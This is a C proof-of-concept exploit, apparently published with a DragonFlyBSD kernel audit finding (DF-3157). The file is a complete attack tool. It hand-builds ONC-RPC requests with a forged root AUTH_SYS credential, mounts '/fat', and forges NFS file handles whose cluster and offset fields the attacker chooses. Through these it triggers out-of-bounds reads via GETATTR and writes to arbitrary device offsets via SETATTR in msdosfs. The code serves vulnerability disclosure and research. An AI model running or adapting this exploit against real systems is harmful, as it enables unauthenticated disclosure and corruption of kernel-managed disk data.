⬢ DragonFlyBSD Kernel Audit
DF-3157 / df3157.c
← back to finding ↓ download raw
/*
 * DF-3157 PoC — unauthenticated forged-NFS-filehandle read/write into
 * msdosfs denode/direntry handling (msdosfs_fhtovp -> deget -> readep ->
 * bptoep OOB / arbitrary-device-offset; deupdat write-back).
 *
 * Raw ONC-RPC over UDP to 127.0.0.1. No libraries, no privileges.
 * The AUTH_SYS credential is attacker-chosen bytes (uid 0).
 *
 * Modes:
 *   mountdump                       MOUNT "/fat", dump raw fh bytes
 *   getattr  <dirclust> <dirofs> [n] forged-fh GETATTR, print size/mtime
 *   setattr  <dirclust> <dirofs> <unix_sec>  forged-fh SETATTR(mtime)
 *
 * build: cc -O2 -o df3157 df3157.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/mount.h>

static uint32_t xid = 0x31570001;
static int sock = -1;
/* XDR decode helpers on reply buffer */
static const unsigned char *rb; static int rp; static int rlen;

static void die(const char *m) { perror(m); exit(1); }

static void udp_init(void)
{
	struct sockaddr_in a;
	memset(&a, 0, sizeof(a));
	a.sin_family = AF_INET;
	a.sin_port = htons(111);
	inet_pton(AF_INET, "127.0.0.1", &a.sin_addr);
	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock < 0) die("socket");
	struct timeval tv = { 4, 0 };
	setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
	const char *sp = getenv("DF3157_SRCPORT");
	if (sp) {
		struct sockaddr_in la;
		memset(&la, 0, sizeof(la));
		la.sin_family = AF_INET;
		la.sin_port = htons((unsigned)atoi(sp));
		inet_pton(AF_INET, "127.0.0.1", &la.sin_addr);
		if (bind(sock, (struct sockaddr *)&la, sizeof(la)) < 0) die("bind srcport");
	}
}

/* XDR encoder helpers */
static unsigned char ob[8192]; static int ol;
static void w32(uint32_t v) { ob[ol++]=v>>24; ob[ol++]=v>>16; ob[ol++]=v>>8; ob[ol++]=v; }
static void wbytes(const void *p, int n){ memcpy(ob+ol,p,n); ol+=n; }
static void wpad(void){ while (ol & 3) ob[ol++] = 0; }
static void wstring(const char *s){ size_t n=strlen(s); w32(n); wbytes(s,n); wpad(); }
static void wopaque(const unsigned char *p, uint32_t n){ w32(n); wbytes(p,n); wpad(); }

static void auth_unix(void)
{
	const char *mach = "att";
	w32(1); /* flavor AUTH_SYS */
	int lenpos = ol; w32(0);
	w32(0x3157);                       /* stamp */
	w32(strlen(mach)); wbytes(mach, strlen(mach)); wpad();
	w32(0); w32(0); w32(0);            /* uid=0, gid=0, no aux */
	int body = ol - lenpos - 4;
	ob[lenpos]=body>>24; ob[lenpos+1]=body>>16; ob[lenpos+2]=body>>8; ob[lenpos+3]=body;
	w32(0); w32(0);                    /* verf NULL */
}

static int rpc_call(uint32_t prog, uint32_t vers, uint32_t proc,
		    struct sockaddr_in *dst, unsigned char *reply, int rmax)
{
	unsigned char xb[8192]; int xl = 0;
	memcpy(xb, ob, ol); xl = ol;
	memset(ob, 0, sizeof(ob));
	uint32_t myxid = xid++;
	/* re-write xid at the front */
	xb[0]=myxid>>24; xb[1]=myxid>>16; xb[2]=myxid>>8; xb[3]=myxid;

	for (int attempt = 0; attempt < 3; attempt++) {
		if (sendto(sock, xb, xl, 0, (struct sockaddr *)dst, sizeof(*dst)) < 0)
			die("sendto");
		for (;;) {
			socklen_t sl = sizeof(*dst);
			int n = recvfrom(sock, reply, rmax, 0, (struct sockaddr *)dst, &sl);
			if (n < 0) break; /* timeout -> retry */
			if (n < 8) continue;
			uint32_t rxid = (reply[0]<<24)|(reply[1]<<16)|(reply[2]<<8)|reply[3];
			if (rxid != myxid) continue;
			uint32_t mtype = (reply[4]<<24)|(reply[5]<<16)|(reply[6]<<8)|reply[7];
			uint32_t rstat = (reply[8]<<24)|(reply[9]<<16)|(reply[10]<<8)|reply[11];
			if (mtype != 1 || n < 20) continue;
			if (rstat != 0) {
				uint32_t rej = (reply[12]<<24)|(reply[13]<<16)|(reply[14]<<8)|reply[15];
				fprintf(stderr, "rpc msg denied (reject=%u)\n", rej);
				return -1;
			}
			/* accepted: [12..15] verf_flavor, [16..19] verf_len,
			 * verf bytes, accept_stat(4), results... */
			uint32_t vlen = (reply[16]<<24)|(reply[17]<<16)|(reply[18]<<8)|reply[19];
			uint32_t astat_off = 20 + ((vlen + 3) & ~3U);
			if (n < 24 || astat_off + 4 > n) { fprintf(stderr,"short reply n=%d\n", n); continue; }
			uint32_t astat = (reply[astat_off]<<24)|(reply[astat_off+1]<<16)|
					 (reply[astat_off+2]<<8)|reply[astat_off+3];
			if (astat != 0) {
				fprintf(stderr, "rpc call rejected (accept_stat=%u)\n", astat);
				return -1;
			}
			rb = reply; rlen = n;
			return astat_off + 4; /* offset of results */
		}
	}
	fprintf(stderr, "rpc timeout prog=%u proc=%u\n", prog, proc);
	return -1;
}

/* ---- XDR decode helpers ---- */
static uint32_t r32(void){
	if (rp + 4 > rlen) { fprintf(stderr,"xdr underrun rp=%d rlen=%d\n", rp, rlen); exit(2); }
	uint32_t v=(rb[rp]<<24)|(rb[rp+1]<<16)|(rb[rp+2]<<8)|rb[rp+3]; rp+=4; return v;
}

static int get_mountd_port(void)
{
	struct sockaddr_in pm; memset(&pm,0,sizeof(pm));
	pm.sin_family=AF_INET; pm.sin_port=htons(111);
	inet_pton(AF_INET,"127.0.0.1",&pm.sin_addr);
	unsigned char rep[1024];
	ol=0; w32(xid); w32(0); w32(2); w32(100000); w32(2); w32(3); /* GETPORT */
	w32(0); w32(0); /* cred: AUTH_NULL */
	w32(0); w32(0); /* verf: AUTH_NULL */
	w32(100005); w32(3); w32(17); w32(0);
	int off = rpc_call(100000,2,3,&pm,rep,sizeof(rep));
	if (off<0) return -1;
	rp=off; return (int)r32();
}

static int mount_fh(unsigned char *fh, int *fhlen)
{
	int mp = get_mountd_port();
	if (mp <= 0) { fprintf(stderr,"no mountd\n"); return -1; }
	struct sockaddr_in ma; memset(&ma,0,sizeof(ma));
	ma.sin_family=AF_INET; ma.sin_port=htons(mp);
	inet_pton(AF_INET,"127.0.0.1",&ma.sin_addr);
	unsigned char rep[1024];
	ol=0; w32(xid); w32(0); w32(2); w32(100005); w32(3); w32(1); /* MNT */
	auth_unix();
	wstring("/fat");
	int off = rpc_call(100005,3,1,&ma,rep,sizeof(rep));
	if (off<0) return -1;
	rp=off;
	uint32_t status = r32();
	if (status != 0) { fprintf(stderr,"mount status=%u\n",status); return -1; }
	uint32_t n = r32();
	if (n > 64) return -1;
	memcpy(fh, rb+rp, n); rp += ((n+3)&~3U);
	*fhlen = (int)n;
	return 0;
}

static void nfs_addr(struct sockaddr_in *a)
{ memset(a,0,sizeof(*a)); a->sin_family=AF_INET; a->sin_port=htons(2049);
  inet_pton(AF_INET,"127.0.0.1",&a->sin_addr); }

/* GETATTR; returns 0 and fills size/uid/type/mtime on success */
static int nfs_getattr(const unsigned char *fh, int fhlen,
		       uint64_t *size, uint32_t *mtime_sec, uint32_t *type,
		       uint32_t *uid, uint32_t *mode)
{
	struct sockaddr_in na; nfs_addr(&na);
	unsigned char rep[1024];
	ol=0; w32(xid); w32(0); w32(2); w32(100003); w32(3); w32(1); /* GETATTR */
	auth_unix();
	wopaque(fh, fhlen);
	int off = rpc_call(100003,3,1,&na,rep,sizeof(rep));
	if (off<0) return -1;
	if (getenv("DF3157_DEBUG")) {
		fprintf(stderr, "[dbg] reply:");
		for (int i=off;i<rlen && i<off+96;i++) fprintf(stderr," %02x",rep[i]);
		fprintf(stderr,"\n");
	}
	rp=off;
	/* NFSv3 GETATTR3res = nfsstat3 status, then (if OK) post_op_attr */
	uint32_t status = r32();
	if (status != 0) { fprintf(stderr,"getattr: NFS status=%u\n", status); return -1; }
	uint32_t attrs_follow = r32();
	if (attrs_follow != 1) { fprintf(stderr,"getattr: no attrs\n"); return -1; }
	*type=r32(); *mode=r32(); r32(); *uid=r32(); r32();
	*size = ((uint64_t)r32()<<32)|r32();
	r32(); r32(); r32(); r32(); r32(); r32(); r32(); /* used, rdev, fsid */
	r32(); /* fileid */
	r32(); r32();           /* atime */
	*mtime_sec = r32(); r32(); /* mtime sec/nsec */
	return 0;
}

/* SETATTR mtime only */
static int nfs_setattr_mtime(const unsigned char *fh, int fhlen, uint32_t sec)
{
	struct sockaddr_in na; nfs_addr(&na);
	unsigned char rep[1024];
	ol=0; w32(xid); w32(0); w32(2); w32(100003); w32(3); w32(2); /* SETATTR */
	auth_unix();
	wopaque(fh, fhlen);
	w32(0); w32(0); w32(0);        /* mode/uid/size: FALSE */
	w32(0);                        /* atime: DONT_CHANGE */
	w32(2); w32(sec); w32(0);      /* mtime: SET_TO_CLIENT_TIME */
	w32(0);                        /* guard: FALSE */
	int off = rpc_call(100003,3,2,&na,rep,sizeof(rep));
	if (off<0) return -1;
	rp=off;
	uint32_t st = r32();
	if (st != 1) { fprintf(stderr,"setattr nfs status=%u\n",st); return -1; }
	return 0;
}

/* mirror timespec2fattime (localtime=UTC) */
static void sec2fat(uint32_t sec, uint16_t *t, uint16_t *d)
{
	time_t tt = sec; struct tm tm; gmtime_r(&tt, &tm);
	*d = (uint16_t)(((tm.tm_year + 1900 - 1980) << 9) | ((tm.tm_mon + 1) << 5) | tm.tm_mday);
	*t = (uint16_t)((tm.tm_hour << 11) | (tm.tm_min << 5) | (tm.tm_sec / 2));
}

int main(int argc, char **argv)
{
	unsigned char fh[64]; int fhlen = 0;
	udp_init();
	if (argc < 2) { fprintf(stderr,"usage: see source\n"); return 1; }

	if (!strcmp(argv[1], "null")) {
		struct sockaddr_in na; nfs_addr(&na);
		unsigned char rep[1024];
		ol=0; w32(xid); w32(0); w32(2); w32(100003); w32(3); w32(0); /* NFSPROC3_NULL */
		auth_unix();
		int off = rpc_call(100003,3,0,&na,rep,sizeof(rep));
		printf("NULL -> %s (off=%d)\n", off<0?"FAIL":"OK", off);
		return off<0;
	}

	if (!strcmp(argv[1], "mountdump")) {
		if (mount_fh(fh, &fhlen)) return 1;
		printf("fh len=%d bytes:", fhlen);
		for (int i=0;i<fhlen;i++) printf(" %02x", fh[i]);
		printf("\n");
		return 0;
	}
	/* Build the fh directly: statfs() is world-readable and hands out the
	 * mount fsid; the tail 12 bytes are struct defid
	 * {len,pad,dirclust,dirofs} -- all attacker-chosen. No mountd needed. */
	{
		if (getenv("DF3157_REALFH")) {
			/* use the real fh from mountd (diagnostic path) */
			if (mount_fh(fh, &fhlen)) return 1;
			printf("[+] using REAL mountd fh (len %d)\n", fhlen);
		} else {
		struct statfs st;
		if (statfs("/fat", &st) != 0) { perror("statfs"); return 1; }
		printf("[+] statfs /fat fsid = %08x %08x (masks to 0 for non-root on DF)\n",
		       st.f_fsid.val[0], st.f_fsid.val[1]);
		/* DF zeroes f_fsid for unprivileged callers; a real network client
		 * gets it from mountd GETFH. Env override for the harness. */
		const char *e0 = getenv("DF3157_FSID0"), *e1 = getenv("DF3157_FSID1");
		if (e0 && e1) {
			st.f_fsid.val[0] = strtoul(e0, NULL, 0);
			st.f_fsid.val[1] = strtoul(e1, NULL, 0);
			printf("[+] using harness fsid %08x %08x\n",
			       st.f_fsid.val[0], st.f_fsid.val[1]);
		}
		memcpy(fh, &st.f_fsid, 8);
		fhlen = 28;	/* DF nfsd requires exactly NFSX_V3FH = sizeof(fhandle_t)
				 * = fsid(8) + fid{len(2),ext(2),data[16]} */
		}
	}
	uint32_t clust = strtoul(argv[2], NULL, 0);
	uint32_t dirofs = strtoul(argv[3], NULL, 0);
	/* struct defid overlays fh_fid at offset 8:
	 * {u_short len; u_short pad; uint32 dirclust; uint32 dirofs} */
	fh[8]  = 12;              fh[9]  = 0;               /* defid_len */
	fh[10] = 0;               fh[11] = 0;               /* defid_pad */
	fh[12] = clust>>24;       fh[13] = clust>>16;
	fh[14] = clust>>8;        fh[15] = clust;
	fh[16] = dirofs>>24;      fh[17] = dirofs>>16;
	fh[18] = dirofs>>8;       fh[19] = dirofs;
	fh[20]=fh[21]=fh[22]=fh[23]=fh[24]=fh[25]=fh[26]=fh[27]=0;

	if (!strcmp(argv[1], "getattr")) {
		int n = argc > 4 ? atoi(argv[4]) : 1;
		for (int i=0;i<n;i++) {
			uint64_t size; uint32_t mt, ty, uid, mode;
			if (nfs_getattr(fh, fhlen, &size, &mt, &ty, &uid, &mode)) return 1;
			printf("GETATTR: type=%u mode=%o uid=%u size=0x%llx (%llu) mtime=%u\n",
			       ty, mode, uid, (unsigned long long)size,
			       (unsigned long long)size, mt);
		}
		return 0;
	}
	if (!strcmp(argv[1], "setattr")) {
		uint32_t sec = strtoul(argv[4], NULL, 0);
		uint16_t t, d; sec2fat(sec, &t, &d);
		printf("[*] mtime %u -> FAT mtime=0x%04x mdate=0x%04x "
		       "(expect victim bytes[22..25] = %02x %02x %02x %02x)\n",
		       sec, t, d, t&0xff, t>>8, d&0xff, d>>8);
		if (nfs_setattr_mtime(fh, fhlen, sec)) return 1;
		printf("[+] SETATTR ok\n");
		return 0;
	}
	fprintf(stderr, "unknown mode\n");
	return 1;
}